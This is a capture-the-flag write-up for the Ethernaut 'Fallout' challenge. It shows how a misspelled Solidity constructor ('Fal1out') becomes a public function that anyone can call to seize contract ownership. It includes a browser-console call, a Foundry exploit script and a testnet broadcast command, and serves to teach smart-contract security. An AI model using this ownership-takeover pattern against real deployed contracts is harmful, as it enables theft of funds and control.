# The Ethernaut CTF Solutions | 02 - Fallout

## Goals

[![](https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/2-fallout-requirements.webp align="left")](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/2-fallout-requirements.webp)

## The hack

Unlike a normal function that can be called anytime, a constructor is only executed once during the creation of the contract. In solidity versions before `0.8.0`, a constructor was defined by naming it the same as your contract's name.

```solidity
pragma solidity ^0.6.0;

contract Foo {
    // This is a constructor, same name as the contract
    function Foo() public payable {}

    // This is a function
    function foo() public payable {}
}
```

Unfortunately, the typo in the `Fal1out()` function converts it to a normal function instead of a constructor. Because of that, `Fal1out()` is a public function that anyone can call to take ownership of the contract.

```solidity
/* constructor */
  function Fal1out() public payable {
      owner = msg.sender;
      allocations[owner] = msg.value;
  }
```

The `Fal1out` function should have been named `Fallout`.

Since solidity `0.8.0`, a special keyword `constructor` has been introduced:

```solidity
pragma solidity ^0.8.0;

contract Foo {
    // This is a constructor
    constructor () payable {}

    // This is a function not following best practices
    function Foo() public payable {}

    // This is a function
    function foo() public payable {}
}
```

## Solution

Simply call the `Fal1out()` function to take ownership of the contract.

### JavaScript (Browser's console):

```javascript
await contract.Fal1out();
```

### Solidity (Foundry):

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";

interface IFal1out {
    function Fal1out() external payable;
    function owner() external view returns (address);
}

contract PoC is Script {
    // Replace this with your Fallout instance
    IFal1out fal1out = IFal1out(0x74AeDd06d77592Fbf41dcd0fa39B04894DB78C52); 

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");

        vm.startBroadcast(deployer);

        console2.log("Current owner: ", fal1out.owner());
        fal1out.Fal1out();
        console2.log("New owner: ", fal1out.owner());

        vm.stopBroadcast();
    }
}
```

And the script to deploy our newly crafted contract:

```bash
forge script script/02_Fal1out.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
```

**🎉 Level completed 🎉**

## Takeaway

* Review your code carefully and multiple times before deploying it.
    
* Use tests to catch obvious bugs like this one.
    

---

You can find all the codes, challenges, and their solutions on my GitHub: [https://github.com/Pedrojok01/Ethernaut-Solutions/](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md)
